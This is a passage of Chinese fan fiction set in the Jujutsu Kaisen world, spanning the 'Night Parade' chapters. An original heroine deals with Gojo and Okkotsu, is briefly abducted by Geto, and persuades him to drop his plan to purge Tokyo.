伊田奈:“……”
伊田奈道:“我可以拒绝吗?”
“真的要拒绝吗?小奈奈,你可是我最信任的人啊!我就出去这一小段时间!”五条悟眨巴眼睛,企图让伊田奈心软,结果发现自己绷带还没拆下来。
顿了顿,接着用手把绷带抬上去,露出湛蓝色眼睛,摇尾乞怜,像一只可爱大猫,“别人我都不想拜托,就只想拜托你了!”
伊田奈被迫答应。
“你不是说周末陪我一起出去玩?”伊田奈被打岔,突然想起来五条悟说的话。
五条悟身形顿住,头埋进伊田奈肩颈,灼热气息洒在皮肤,一阵瘙痒,“这周出了一点点意外,咱们能不能下周去?”
“我保证,下周一定不会再有其他事情了!”
伊田奈冷笑一声:“下次你想约我可没那么轻易了!”
“诶呀,小奈奈,真的不会再有下次了,你看我从前什么时候骗过你嘛……”
五条悟扭着头在伊田奈肩颈处撒娇。
“只此一次,下不为例!”
“下不为例!”
雨纷纷扬扬下了一夜,天色阴沉,浓密的乌云像是要把天空蚀出一个洞。
乙骨忧太站在屋檐下,伸出手,冰凉雨水落入他掌心。
乙骨忧太笑了笑,像是一名手无缚鸡之力的书生,白色的外套更是衬托得他弱不禁风。
“下雨了啊……”乙骨忧太说话语气温柔,带着点惋惜,“看来没办法在室外进行训练了。”
伊田奈提着垃圾下楼,正好碰到站在屋檐下的乙骨忧太。
“早上好,乙骨同学!”伊田奈穿着短袖长裤,左手提着几大袋垃圾,右手握住一把黑伞。
“早上好,伊田奈前辈!”乙骨忧太脸上带着浅浅的笑容,“您是要去丢垃圾吗?我帮您吧!”
乙骨忧太说着,伸出手。
他的手很好看,白色衬衫袖子被挽到关节处,露出结实有力的手腕,手腕白皙,青筋直冒,还有肌肉纹理。
伊田奈收回视线,不着痕迹避开乙骨忧太的手,“不用了,我自己可以,谢谢。”
乙骨忧太挠头,脸上出现一抹尬色。
“没关系的,这些都是我平时积攒的垃圾。”伊田奈说,“对了乙骨同学,可以直接叫我的名字,不用称呼前辈。”
“啊?”乙骨忧太局促,“可您就是前辈呀……”
“叫我前辈把我叫的太老了,熊猫他们都是直接叫我的名字,不用有心理负担。”伊田奈解释。
“好吧,…伊田奈。”乙骨忧太在叫出伊田奈名字时显得显而易见地紧张。
“可以的!我去丢垃圾了!”
撑黑伞的瘦高背影消失在雨幕中。
乙骨忧太怔怔看着,他第一次见面时,就觉得伊田奈不像是比他年长的人,更应该像是学妹或是同学。
没想到竟然会是前辈。
乙骨忧太嘴角勾起,摇了摇头。
熟悉的身影从雨中走过来,乙骨忧太收起脸上的笑,又变回了平时那一副谨慎小心的样子。
“伊田奈,你回来了。”这一次,他既没有叫前辈,也没有用敬称。
“嗯。”伊田奈收起黑伞,看到乙骨忧太依旧站在屋檐下,整个人小心谨慎,她问道:“你怎么一个人站在这里?是要出去吗?”
“想等着雨小一些再出去训练,结果没想到雨一直不停。”乙骨忧太解释。
“训练?熊猫和禅院同学不参加吗?”伊田奈别过头,什么人都没看见。
“哦……今天是周末,”乙骨忧太不好意思地解释,“熊猫和校长出去了,禅院同学和狗卷同学今天也有事,只有我一个人。”
“而且,我是后面才来的,基础比较差,我不想拖累他们……”乙骨忧太左手放在身前,右手不断挠着后脑勺的头发,越说声音越小,到最后几乎听不见。
面前的少女没有露出鄙夷的神色。
“原来是这样,你要是想训练的话,不去教学楼操场也可以,自己在宿舍里边练。”
“宿舍可以练吗?”乙骨忧太挠后脑勺的动作本来已经停下,听到伊田奈
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的话又重新动了起来。
伊田奈忧心盯着乙骨忧太挠后脑勺的时候。
乙骨忧太挠后脑勺的手是很好看的,他现在的头发也很茂密,但……
“别紧张,我又不是你的老师,你把我当做同学就好了。”
乙骨忧太察觉伊田奈灼热的目光,她好像在盯着他,但乙骨忧太不好意思顺着她的视线看,心底纠结。
伊田奈收回视线,对乙骨忧太说道:“你要是觉得紧张或者害怕,可以不用跟我说话,我不会介意的。”
话还没说完,乙骨忧太赶紧解释:“不是这样的,伊田奈,我喜欢和你说话,只是我不太习惯和别人交流。”
话说出口,一阵阴风吹过发梢,强大的怨念从四面八方袭来,伊田奈被风吹得衣袖摆动。
一只狰狞的脑袋冒出来。
乙骨忧太修长的手指平和抚摸那只毛茸茸的脑袋:“里香,没事的,这位是五条老师的朋友,我的前辈,你不要这样……”
他眼底有青黑色的黑眼圈,眼神里有一丝无奈。
毛茸茸的脑袋从地面钻进去,阴风停下,伊田奈的衣袖也跟着平静下来。
“抱歉,伊田奈,是我的错。”没有解释为什么,乙骨忧太低下头,不敢看伊田奈,像一个做错事情的孩子。
里香的事情,五条老师一直知道。
伊田奈也一定知道。
他在他们眼里,一定很奇怪,很卑劣吧……
长长的睫毛遮住眼底的神色,乙骨忧太头埋的更低了,腰杆似乎也随之弯下。
伊田奈眼神动了动,走上前给了乙骨忧太肩上一巴掌,乙骨忧太个子很高,她需要踮起脚尖才能拍到他的肩膀。
“喂,抬头。”女生平静的声音传入耳边。
乙骨忧太的头微微抬起来,他眼中闪过一丝纠结,随后抬起来一点的头很快低下去。
“对不起,伊田奈。”乙骨忧太又一次说出抱歉的话语,头埋的比之前更低了。
“你先抬头,没关系的。”
乙骨忧太苦笑一下,嘴唇紧紧抿住,微不可察地摇了摇头。
伊田奈有那么短短的一瞬间想要一走了之,但想起五条悟走之前的叮嘱。
伊田奈踮起脚尖,葱白似的手指不紧不慢捏起乙骨忧太的下巴。
“抬头。”伊田奈嘴上说着,手上也跟着用力。
乙骨忧太跟随对方手上的力度,被迫抬起了头。
“这就对了,不许再低头。”伊田奈收回手,“你低一次我抬一次。”
乙骨忧太被迫对视上伊田奈的视线。
是一双干净,明亮的眼睛。
“你没做错任何事,不需要向我道歉,听明白了吗?”伊田奈说道。
“不,不是这样的……”乙骨忧太捏住衣袖下摆。
“如果是你的错,不需要你开口,我会提前指出来,现在不许提,对不起这件事了。”伊田奈说。
“可……”
“你不是要训练吗?宿舍负1楼有个室内训练场,你可以直接刷脸进去。”
乙骨忧太怔住一瞬,准备了一肚子的话,一句都没说出来。
“不要老是说抱歉,也不用觉得害羞,”伊田奈补充之前没说完的话,“虽然你的头发很茂密,现在发量很多,但是老是挠头的话,以后可能会秃顶,你还年轻,自己小心点。”
35.百鬼夜行(前)
乙骨忧太脸上出现久违的尬色,刚想伸手继续挠头,突然想起伊田奈刚刚说的话,右手僵在半空,左手僵硬扯住上衣下摆。
“谢谢伊田奈。”乙骨忧太在说这话的时候还有些腼腆。
“不客气,你不要觉得我烦就好。”伊田奈说。
“我先回去了,你要是有什么麻烦可以找我。”
“好的!谢谢!”
穿短袖长裤的女生背影慢慢消失在走廊尽头,雨水顺着黑色雨伞滴下,在走廊上留下一串水渍。
乙骨忧太一直目送她离开,很久后才回过头。
屋檐外,雨水淅淅沥沥,一滴接着一滴掉落。
屋檐下,白衣黑裤的少年忧郁看向天空,骨节分明的手指伸入雨幕中,小声碎碎念:“这雨……似乎也还不错。”
片刻,他的嘴角扬起,露出熟悉的笑容。
五条悟赶在周末结束的前一天回到咒术高专。
“伊田奈,一周没见你,有没有想我?”五条悟像一只开心的大猫,摇着尾巴凑上去,脸上做着浮夸的表情,把自己收集的特产递给伊田奈。
“不想。你就算不出差,大多数时候也都是在外面拔除咒灵。”伊田奈接过特产,放到一边。
“啊!我要伤心了。”五条悟出差在外,每天睡前都会浮现起幼驯染的脸,偏偏幼驯染是个铁石心肠的姑娘,当真一点都不想他。
五条悟生气,恨不得大闹一场,只是找不到地方宣泄。
“生气了?”伊田奈脸上露出笑意,手掌落到五条悟脑袋上,先是顺了顺他的头发,而后落到他眼前的绷带上,轻轻摩挲。
“好了,别生气,其实我是有想你的。”伊田奈笑着安慰。
五条悟这才转悲为喜,“我就知道小奈奈你肯定会想我的。”
五条悟自己安慰自己,脸上顿时乐呵起来。
“你这次回来,不先去看你的学生?”伊田奈故意打趣他,尾音拖长,“看来五条老师好像也就那样吧……”
“是啊,也就那样吧——”五条悟顺着伊田奈的话说,“什么学生有我的幼驯染重要?”
伊田奈被逗笑了。
五条悟想起上次未能实现的承诺,说道:“明天我们一起出门?之前说好的。”
“是吗?可是我的时间很难约哦——”
“伊田奈女士,我在此隆重邀请您明天和我一起出门,不知道您有没有时间?”
伊田奈嘴角上扬,却还是保持面无表情,她咳嗽两声,“除非你现在就睡觉,否则我是不会答应你的。”
“现在?”手机屏幕亮起,上面写着21:34。
“现在会不会太早了?”五条悟几乎没有在这个时间点睡过觉,所以时间在他看来还很早。
“不愿意就算了。”伊田奈别过头。
“可是我睡不着!”五条悟争辩。
伊田奈从衣柜里拿出新枕头,摆放到自己的腿上,用手拍拍枕头:“有什么睡不着的?我守着你,别害怕!”
幼驯染的头发低低扎起,黑色平光镜没有显得她呆板,倒有几分俏皮可爱。
五条悟躺上枕头,闻到幼驯染身上熟悉的香味,脑袋突然放空,似乎尘世的一切琐事都与他无关。
纤细柔软的手指一下下落到五条悟肩头。
五条悟放下防备,沉沉睡了过去。
伊田奈抬头,想要悄悄挪个位子,腿刚刚挪动一下,五条悟便皱眉翻了个身,神色狰狞、痛苦。
伊田奈只好停下动作,右手有一下没一下轻轻拍打五条悟的肩膀。
好一会儿,五条悟皱紧的眉眼才舒展开。
五条悟睡觉时和平日里的状态很不一样,一米九的大个子蜷缩成一团。
伊田奈在网上看到过这种睡姿,这样的睡姿一般表明睡觉的人没有安全感。
伊田奈失笑,取过身边的毯子,展开盖到五条悟身上。关掉灯,她打了个哈欠,也倒在床上睡觉。
乙骨忧太像平常一样起床,打算到操场训练。
熊猫昨天晚上说了要陪他一起,禅院真希同学和狗卷棘同学也是一样。
他们都表示——训练,我们也不能落后!
禅院真希同学早早就已经在操场舞剑,狗卷棘同学和熊猫倒是和他一样,和平常一样的时间起床。
“棘,我和忧太都在等你哦!快点快点!”熊猫站在狗卷同学门口催促。
乙骨忧太则是表明狗卷同学不需要着急。
然后,熊猫和乙骨忧太就看到了瞠目结舌的一幕。
五条老师衣衫不整地从伊田奈的房间走出来,衣服皱巴巴的。
乙骨忧太表现得还没有那么明显,熊猫直接吓得跳了起来。
熊猫驰骋网络也有不少日子,有网络的日子里那也是一条好汉。
此刻,他捂住自己受到惊吓的小心脏,一脸严肃,难以置信问五条悟:“五条老师,你什么时候回来的?”
“昨天。”五条悟打了个哈欠,伸个懒腰,左手揉了揉后脑勺,很久没有睡这么长时间,脑子有点懵。
“你们今天也要训练?”大脑的不适感在左手触碰后逐渐减轻了一些。
熊猫和乙骨忧太点头。
熊猫和乙骨忧太对视一眼,接着问:“五条老师,你为什么会从伊田奈房间里走出来,难道你们……”
熊猫一脸欲言又止,好像要说的话全都表现在了脸上。
五条悟大惊小怪瞧了他一眼,“对啊,有什么?”
“你们,你们真的……!”熊猫震惊,两眼睁圆,眼神在五条悟的脸上和皱巴巴的衣服上来回游走。
“想什么,我们只是睡了一觉,什么都没干。”五条悟不知道是真没听出来熊猫话里的意思,还是装不知道。
熊猫突然贱兮兮笑道:“怎么睡?”
门突然打开,伊田奈打着哈欠推门而出,“还能怎么睡?两个人直接躺地上看星星看月亮就睡了呗。熊猫,请你不要再自行脑补,不许造谣。”
伊田奈身上的衣服也皱巴巴的,不过她穿的还是昨天白日里穿的衣服,一点都没换过。
再看脖颈手腕,干干净净,脸上只有睡觉时压出的褶皱印。
熊猫悄悄翻了个白眼:“切……还以为是怎么睡,原来
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五条老师也不怎么行嘛……”
熊猫悄悄吐槽,声音很小。
五条悟直接拎起熊猫,笑眯眯道:“熊猫,我看你是太久没见我皮有点紧了是吧?”
乙骨忧太吓得缩了缩脖子,但还是强撑着说:“五条老师,熊猫这样说的确有点不好,但……”
“是忧太啊……”五条悟换了副表情,对于乖学生他的耐性自然是要好一些的,“你不用管他,熊猫它就是欠收拾了。”
熊猫被五条悟拎走,眼泪汪汪朝伊田奈乙骨忧太求救。
乙骨忧太摊手表明自己无能为力。
伊田奈则是笑嘻嘻目送熊猫离开。
一人一熊走后,狗卷棘从门缝里悄悄探出头,左右探视,确认安全后才出来。
“大芥……”
伊田奈笑眯眯同他打了招呼:“没事没事,狗卷同学你可以和乙骨同学一起去训练了,五条老师这两天心情还是不错的。”
狗卷棘点头,同乙骨忧太一起训练去了。
五条悟工作狂属性大发,带着熊猫训练了一会才回来收拾自己,和伊田奈一起出门。
伊田奈对五条悟的着装很不满意,“你就穿这个?”
“对啊!有什么不对?”五条悟低头,并不觉得高专制服有什么不妥。
高专制服好歹也是制服,穿在五条悟身上并无什么不对。相反,衬托得五条悟英俊帅气,大腿修长有力。
可五条悟一年四季穿的都是这套衣服,伊田奈便有些看不过去。
“走,我带你买衣服。”
本该是五条悟陪伊田奈逛街,最后发展成了五条悟不停试衣服,买衣服。
导购小姐误把五条悟当做伊田奈男友,夸赞道:“您男朋友穿什么都好看!”
卫衣、开衫、短袖……学生时候穿着的衣服久违穿到伊五条悟身上。
试下的每一套衣服伊田奈几乎都刷卡买下。
伊田奈说:“好不容易能让你花我的钱,这你都要和我抢?”
伊田奈高中时候就开始陆陆续续赚钱,不过还是利用五条家的资金当做本金,开展自己的赚钱计划。
从赚钱以后,伊田奈就很少用五条家的钱,也很少用五条悟的钱,想方设法想为五条悟花点钱,五条悟总是找借口推辞,还老是偷偷给伊田奈转账。
“不抢不抢,我这像不像电视剧里面被富婆包养的人?”五条悟说。
伊田奈点头,问他:“被我包养,感觉如何?”
“感觉还不错!”五条悟笑道。
逛了商场,到顶楼吃饭时,五条悟突然若有所思朝某个方向看去。
等五条悟视线落到那个地方的时候,人员中并无异常。
伊田奈问:“怎么了?”
五条悟道:“没什么,看错了吧。”
伊田奈也就没说什么。
吃完饭要回去的时候,五条悟突然把东西递给伊田奈,神色认真,“你在这里等我一会儿,我马上回来。”说完,地上只有购物袋,五条悟人影早就消失在人群中。
伊田奈摇了摇头,说道:“出来吧,夏油杰同学。”
36.百鬼夜行(中)
“好巧,又见面了。”夏油杰笑眯眯从人群中走出来。
他和离开时的样子差别不大,只是身上不再是高专那身衣服,换做一身当下流行的非主流打扮,甚至同非主流相比也有些格格不入。
——一身袈裟。
“你出家当和尚了?”伊田奈问。
夏油杰低头看了看自己的衣服,笑了笑。
“你还是一样喜欢开玩笑。”
“谢谢夸奖。”伊田奈说,“你真没出家当和尚?”
夏油杰摇头:“谁说穿袈裟的就一定得是和尚?要是按照这个道理,我换上校服,别人是不是还得叫我一声学生?”
夏油杰笑眯眯的,两只眼睛几乎看不到眼珠。
伊田奈摇头,没这么个道理,可夏油杰不是一般人,“别人穿确实不一定,你穿的话还是得多考虑考虑。”
“对了,五条悟去找你了,你费尽心力不去见他,见我干嘛?”伊田奈接着问。
“悟他啊……”像是想到了什么遥远的东西,夏油杰眼神飘渺,“道不同不相为谋。我和悟注定会成为敌人,还是不见了……”
从那次谈话以后,放火烧了家里的房子以后,夏油杰就清楚地知道——夏油杰和五条悟是两个世界的人了。
伊田奈觉得奇怪:“你和五条悟是两个世界的人,我和你难不成就是一个世界的人?”
夏油杰这话让伊田奈感觉自己好像随时会叛变背离人类。
但伊田奈半点叛变心思都没有。
夏油杰笑眯眯说:“虽然你没有咒力,但你和那些猴子不一样,小伊田,我的大门随时为你敞开。”
伊田奈连忙摆手:“不用了,我过好自己的日子就好了,世界和平和我没有关系。”
“那是因为你还没见过那些丑恶。”
下一秒,暗处埋伏的护卫来不及出手,只见女生一下被掳走了。
富丽大厦。
秃头矮小的老板在办公室里来回焦急走动,“怎么样,大师还没来?”
助理上前一步:“已经联系过了,大师在路上,马上就到了。”
一位高大的长发男人和一个年轻的女孩从42楼电梯走出来。
保安上前:“您是夏油先生?”
男人点头,旁边的女人脸色有点不耐烦。
“我们老板一直在等你,快请进!”
放眼望去,全场所有人都对夏油杰异常恭敬,连带着伊田奈跟着一起占便宜,那些人同样对她十分恭敬。
伊田奈皱着眉,骂了一路,夏油杰都好脾气的接受了她的谩骂,反而说要带她来看看什么所谓的人性。
笑话,伊田奈别的不精通,人性这玩意儿可比别人懂多了。
夏油杰要是想从这方面策反她的话,那当真是策反错地方了。
年迈的老板瞧见夏油杰的那一瞬间就两眼发光,急切地从椅子上跳下来,加快步伐走到夏油杰身边。
“您就是他们说的那位大师吧?欢迎欢迎!快,这边请坐!”老板一脸谄媚,转过头斥责身边的人,“没点眼力见,快来给贵客倒水。”
夏油杰和伊田奈接过两杯热腾腾的水。
“大师啊,之前您说能帮我解决我头疼的问题,这个问题究竟要什么时候才能正式解决啊?我这头啊,老是三番五次地疼。”只见老板肩膀上爬着两只长相怪异的咒灵,眼睛在腰间,一左一右环抱住老板的肩膀。
夏油杰明显看到了,两只眼睛却视若无睹。
“让你准备的东西,准备好了吗?”
“好了好了!我已经让下属正式签署了,从现在开始每个月向您主持的基金会捐赠一亿日元!现在就开始捐赠!”
“希望会长您能坚持做到,不然我也不能保证那些奇怪的东西会什么时候缠上你。”
夏油杰装模作样做了一个严肃的仪式,加上了许多耍把式的花样,一大群人乌泱泱跟着念咒求神。
而缠绕在老板肩头的两只小鬼,不过是弹指一挥便能够解决的小麻烦。
老板感恩戴德地恨不得原地磕头。
夏油杰想笑:“你看,这就是这些猴子。他给最亲近的员工开的工资还没有一个月捐赠出去的钱的零头多。那两只咒灵不过轻轻一挥手就能解决,我早就告诉他了,可他不同意,非得用仪式来解决,所以也就这样了。”
用一个繁杂的仪式来换取一份心安。
“他的助理给他推荐过其他咒术师,那些咒术师开价很低,甚至有的不收取任何报酬,但是他一个人都不肯接受。他觉得他的身边人都会害他,都是贪图他的钱财。”夏油杰说。
第二个人,是一个中年妇女。
她生了一个孩子,小孩子每到夜晚都会嚎啕大哭。
“你每天早上晚上到我们的会场进行祷告,你的孩子自然会好。”夏油杰告诉她。
女人照做,每日虔诚祷告。
“你知道吗?她是一个人贩子,拐卖了不知道多少个孩子,开始做生意的第一个孩子甚至是她的亲生孩子,瞧瞧她现在这个样子,多可悲。”夏油杰怜悯道。
“她从前拐卖的那些孩子,怨气化作咒灵,整日缠绕在她最近生的这个孩子身上,清理一次之后,出现一次。”
伊田奈一脸幽怨:“她可不可悲我不知道,我觉得我挺可悲的。人间的正义自然有警察来审判,我又不是警察。”
言外之意,伊田奈半点都不想掺和。
第三个人是一个家暴老婆孩子的丈夫。
一次喝酒之后,他不小心把老婆孩子打死,两人的怨念化作咒灵,让男人整日噩梦缠身,周身多病。
从牢里出来以后,他的精神就不正常了。
“第一次见面,他就跪在我面前,哭着求我,‘夏油大人,我什么都愿意做,求求您救救我,我再也不想过这样的苦日子了!’”夏油杰笑了,“真是可笑,他的妻子和孩子从前也是一样求他,可他连一个眼神都没给他。”
“我告诉他,要是想得到我的帮助,必须每周抽出两天的时间到孤儿院做慈善,好好对待那些孩子,不许再喝酒,更不许殴打辱骂别人。他全都做到了,完成得很好,可他妻子在的时候明明不是这样的。”
伊田奈注视孤儿院中认真给孩子换尿片的男人。
他穿着体面干净,说话温
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声细语,一点都看不出来这是一个曾经家暴的男人,更难以想象这个男人曾经把自己的老婆孩子打得鼻青脸肿、面目全非。
“你看,这个世界就是这么肮脏,与其留下这些人,不如清洗一遍,这样就能少掉更多痛苦、罪恶。”
每个人都有自给自足的能力,不用再被金钱、欲望所支配。
世界会是一个全新的世界,再也不会有无辜的咒术师死于非命。
夏油杰沉浸在自己的幻想之中。
“你以为这样清洗一遍世界就能如你所愿?”伊田奈的话打断他的幻想,“要是这样,你还不如研究研究原子弹,想方设法偷一颗原子弹把整个地球炸了,大家一起全都死了,什么咒灵咒力,平等不平等都不存在了,那时候这世界就干干净净,什么污秽都没了。”
夏油杰一怔。
“你看,你犹豫了。”伊田奈收回视线。
“谁不自私?你以为咒术师就不自私了吗?可能是因为你遇到了一群很好的伙伴吧。五条悟这家伙虽然表面吊儿郎当,但是是个善良爆棚的傻瓜,硝子和大家嘻嘻哈哈,但是做事情从来都很认真,不会敷衍,包括不慎去世的灰原同学。”
“他们大家都是很好很好的人,可能是因为这样,让你对咒术界产生了误解,误以为咒术界都是一群很好的人,但是不是这样的。一直都有卑劣的咒术师存在,凭借超出普通人的能力玩弄普通人,弄虚作假,表面上一副云淡风轻,舍己为人的样子,实际上是一个卑劣的小偷,垃圾。”
“如果你有心观察,也可以考虑考虑把咒术师也洗牌了。”伊田奈说。
夏油杰不肯相信自己信仰多年的猴子论就这样被伊田奈否定,试图辩解,但嘴边只干巴巴说出一句:“咒术师和那些和猴子不一样。”
伊田奈一脸尬色盯住他,不说话。
“你自己多瞧瞧再来否定我吧,我要回去了。”
伊田奈跟着夏油杰在城市里穿梭半天,怪累的。
“不过夏油杰同学,不得不承认,你这些年进步了很多。你也别老是否定自己,觉得自己和五条悟有差距,天赋是人天生的,就像我,半点咒力都没有,我要是把自己和五条悟比,早就跳楼了,还有机会见到你?”
“我的建议是——别干傻事,好死不如赖活着。”
夏油杰送伊田奈回到东京,在一个郊区把人丢下。
伊田奈咆哮:“荒郊野岭我要是出什么事情怎么办?”
夏油杰扬长而去,心肠没有半分柔软。
“我就知道,男人……”
没过几分钟,五条悟慌张从不远处飞奔而来,喘着粗气,额角隐隐可以看到汗珠:“你有没有事?他们有没有把你怎么样?”
五条悟拉住伊田奈的手,上下查看她有没有受伤。要不是男女有别,五条悟直接想现场给伊田奈做个全身检查。
“你把我丢下的时候咋没想过呢?”伊田奈悄无声息地问,声音平静,只是眼神里多了几分说不清道不明的意味。
“万一我当真手无缚鸡之力,万一对方心思歹毒一点,你就这样追出去了,到时候回来看到的是我的尸体怎么办?”
37.百鬼夜行(后)
伊田奈面上冷静,五条悟却沉默了。
要是今天出现的不是夏油杰,而是什么居心叵测的人,伊田奈被那些人掳走以后会有多害怕?
那时候他就只剩下一个人了。
五条悟低头道歉:“对不起。”
伊田奈叹了声气,“走吧。”
天气渐渐寒冷,到了风大且冷的时候。
夏油杰穿着袈裟在海滩边上发呆。
“夏油大人,您今天要吃什么?”姐妹花一左一右跪在夏油杰身边,热情问。
“都行,你们看着办。”夏油杰对于吃的兴趣不高。
“夏油大人,那……原本定的计划还要不要进行呢?”姐妹花犹豫着,还是问出口。
计划是从前就已经制定了很久的,只是夏油杰大人出去了一趟之后经常喜怒不定。
“先取消吧,告诉他们不用忙活了。”夏油杰犹豫片刻,冷漠吩咐,脸上不见半分笑言。
咒术师和你眼中的猴子差别也不大——
与其费尽心思做这样的打算,不如偷个原子弹直接把地球炸了——
伊田奈的话在耳边挥之不去。
他的确是一个很卑劣的人,想要把所有的猴子扼杀在摇篮之中。可是,如果咒术师和那些猴子之间并没有什么差别呢?
姐妹花忧心忡忡退下去。
“姐姐,你说夏油大人最近是怎么了?老是坐在海滩上发呆。从前他都只是在角落里观察那些可恶的人类,可上一次我竟然看见夏油大人在悄悄观察咒术师,脸上还露出很不高兴的表情。”妹妹捏着衣角。
“确实很怪异。我也看见夏油大人在角落里观察那些咒术师,那些咒术师也不是什么好东西,竟然企图勾引夏油大人的关注。”姐姐愤愤不平,“妹妹,你说夏油大人……不会放弃我们吧?”
“怎么可能!姐姐,你把夏油大人当作什么人了!我们的命都是夏油杰大人救的,我们要相信他!”
“我……我只是一时想歪了,我会一直相信夏油杰大人的!”
姐妹花离开。
进入十二月,天气越来越寒冷。
自从上次把伊田奈一个人丢在原地后,五条悟后知后觉意识到自己的错误。
他开始每天卡点下班,皱眉拒绝高层安排的多余工作。
“咒术界又不是只有我一个人,为什么要把所有的工作安排到我一个人头上?”五条悟不服,冲进高层办公室大闹一场。
高层觉得奇怪,从前不论安排多少工作五条悟从来都不会抱怨一下,如今不过是像从前那样安排,五条悟居然置之不理。
“我们也想把工作安排给其他人,可是五条悟,你是咒术界最强,我们不把工作安排给你那要把工作安排给谁呢?”高层反问。
“咒术界那么多人,没了我就没有其他人?”
“你是最强,还有无下限,其他人都没有你的本领。”
“没有我的本领?强一点的咒灵我就不说什么了,那些弱的和菜鸡一样的咒灵难道没有人能拔除?那要你们这些高层有什么用,吃干饭?……”五条悟乱骂一通。
虽然平日里五条悟对学生总是笑嘻嘻的,从来不生气,还会开玩笑。
但五条悟对高层那群领导可是另外一副嘴脸,一张嘴气死人不偿命,偏偏高层那些家伙拿他没办法。
咒术界百年难见的天才,还有无下限。
五条悟凭借一张巧嘴争取到工作任务量减小,兴高采烈和伊田奈分享:“他们说了,以后分配任务的时候会注意,简单的优先分给其他人,难的才分配给我。”
五条悟笑嘻嘻的,像一只可爱的白色大猫,摇头摆尾,得意极了。
可是他没有得到回应。
五条悟伸出手在伊田奈面前晃了晃,“小奈奈,你为什么不和我说话!”
“别吵。”伊田奈眼睛紧紧盯住电脑屏幕,电脑屏幕里的小人乱杀一通,刀光剑影,精彩极了。
“小奈奈……”五条悟不死心,又伸出手在伊田奈面前晃悠。
啪一声——
白皙匀称的手背上多了一个红红的巴掌印。
“不许吵,早就该这样了,不知道和你说了多少遍,现在才听进去。”
五条悟委屈巴巴捂住手,无助极了。
一直到片尾曲响起,五条悟憋了一肚子的气才终于有地方释放。
“伊田奈,你看我的手!”白皙手背上鲜明的五指印。
“你24小时不睡觉和咒灵大战都能忍,我打你一巴掌,这巴掌还是落到手背上,你就不行了?”女生皮肤白皙,可能是因为盯久了电子屏幕,眼睛里有几丝红血丝。
“我早就该发现了!”五条悟提高音量,捂住被打了一巴掌的手退后几步,“你心里根本就没有我!自从那次以后,你口口声声说不生气,可你还是生气了!我到底要怎么做你才能原谅我?……”
五条悟越说越委屈,嘴唇撅得越来越高,语调也不觉低了下去。
高大的男人脸上带着眼罩,嘴唇殷红,两条腿更是又长又直。此刻他却像个做错事情的小孩子,不知所措。
伊田奈心软了一下,她觉得自己像是一个做错事情的负心女人,随意玩弄别人的感情。
要不是五条悟哭诉的对象是自己,伊田奈当真想冲上去给五条悟哭诉的对象一巴掌。
不过,她好像……有点情绪化了?
“你真的很伤心?”伊田奈试探着问。
“难道不伤心吗?”愤怒的大白猫翘起尾巴张牙舞爪。
“额……谁让你和我说话的时候我在看动漫呢……”伊田奈小声说。
“动漫?!”五条悟高声,“动漫难道有我好看吗?”他想说很久了。
五条悟摘下绷带,一张英俊帅气的脸庞就这样直直闯进伊田奈眼眶。
“你看看,动漫里的这个白毛哪里有我帅?你竟然不看我去看那个白毛?你说说,还有没有天理了?天理在哪里,公道在哪里?而且我推掉了很多工作!你竟然……你竟然什么都不表示!”
五条悟要气疯了,自从他工作多起来以后他其实渐渐察觉到幼驯染对他的不上心。
“要不是之前我强烈要求你搬到咒术高专,咱们说不定一个月都不能见到一次!你就是心里没有我!”
五条悟撒泼打滚,企图唤醒伊田奈的良知。
哪怕他知道伊田奈是个冷漠的女人。
“我有这么无情?有这么冷漠?”
“瞧瞧,瞧瞧自己说的是什么话?”五条悟气笑了,“我知道之前是我忽视了你,但是我现在是真的
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想要多陪陪你。”
“别这么想,”伊田奈说,“我要是没有你这个幼驯染的位置,我会为了你搬到高专?根本不可能好吗?”
“别担心那么多,放心,我心里一直有你的位置。”伊田奈拍拍胸脯保证。
五条悟别过头:“我不相信。”
伊田奈捧住他的脸,笑道:“你不相信我还要相信谁?外面那些乱七八糟的人?”
“哼……”猫猫别过脸生闷气。
伊田奈眼珠子转了转,夸赞他道:“我的幼驯染是世界上最棒的幼驯染!怎么会有这么好的幼驯染呢!我真羡慕我自己!”
伊田奈一连夸了一长串彩虹屁。
五条悟终于悄悄扬起嘴角。
最后,五条悟说:“看在你这次这么真诚的份上,我就原谅你吧。”
十二月初,高专和各大家族收到了一封恐吓信。
信上写着【12.24日,东京将迎来一场来自大雪的清洗】
一开始,大家都把这当作一场恶作剧,可是没过两天,两具鲜血淋漓的尸体出现在高专。
【看来你们似乎把这当作一场玩笑,这是礼物,你们记得收好。】
所有人后知后觉意识到了事情的严重性,开始着手调查。
伊田奈是发现尸首的其中一个人,不知道为什么,一闻到味道她就顿住了,明明离尸体的位置还有几米,但是她却不想靠近。
那天晚上回去后。
伊田奈梦到了久违的画面——尸山血海,梦境中,有一个身材高大的怪异男子在保护她。
一连几天,伊田奈都没睡个好觉,每次闭上眼,眼前都会有一片红色。
她这边痛苦,高专和咒术界的其他家族也不好过。
通知函莫名其妙出现在显眼角落,预言变作了真。
谁也不敢想象12.24会发生什么样的场景。
五条悟问伊田奈:“你说,会不会是……他?”
死掉的都是普通人类,没有咒术师,整个案件的风格都很像夏油杰的风格。
“我也不太清楚,你等我问问。”
伊田奈出门到一个人少的角落,每到一个地方就大声:“夏油杰,你要做傻事了吗?要做傻事的话怎么不署名?到底是不是你?”
功夫不负有心人,到了第五个地方,伊田奈接到一个陌生电话。
“你疯了?”电话那头的声音带着几分难以置信。
“没疯,就是想问问12.24日要毁灭世界的是不是你。”伊田奈道。
“不是。”夏油杰道。
“不是你,那为什么整个事情的做事风格和你那么像?”
电话那头顿了顿。
“我原本想在那天血洗东京,但是回去以后想了想,你说的话也挺有道理,所以取消了这次计划。”
“你们内部出现叛变了?”
“我不清楚,但我的手下们不会擅自行动。”
“不是你,那就是其他人。你原本的计划是怎么样的,和我说说呗!”
高专。
一年级组的几个人每天都在拼命训练。
尤其是乙骨忧太和禅院真希。
禅院真希是一直刻苦努力,乙骨忧太则是找不准方向,不知道做什么,茫然地努力。
38.百鬼夜行(终)
“熊猫,你说,我们真的能行吗?”乙骨忧太问。
“男人不能说自己不行!”熊猫开导。
如果说普通男人只是普通男人,那么熊猫认为自己就是男人中的男人。
“谢谢熊猫!”好脾气的乙骨忧太礼貌道谢。
原本两个人的训练队伍,瞬间变成了四个人。
狗卷棘、熊猫后面加入,两个人都很认真。
“悟,我问过夏油同学了,他说不是他。”伊田奈小声说。
“不是他,那是谁?”五条悟也疑惑起来。
敌在暗我在明,四面楚歌,五条悟恨不得把整个日本倒过来搜查一遍,只可惜一个人分身乏术。
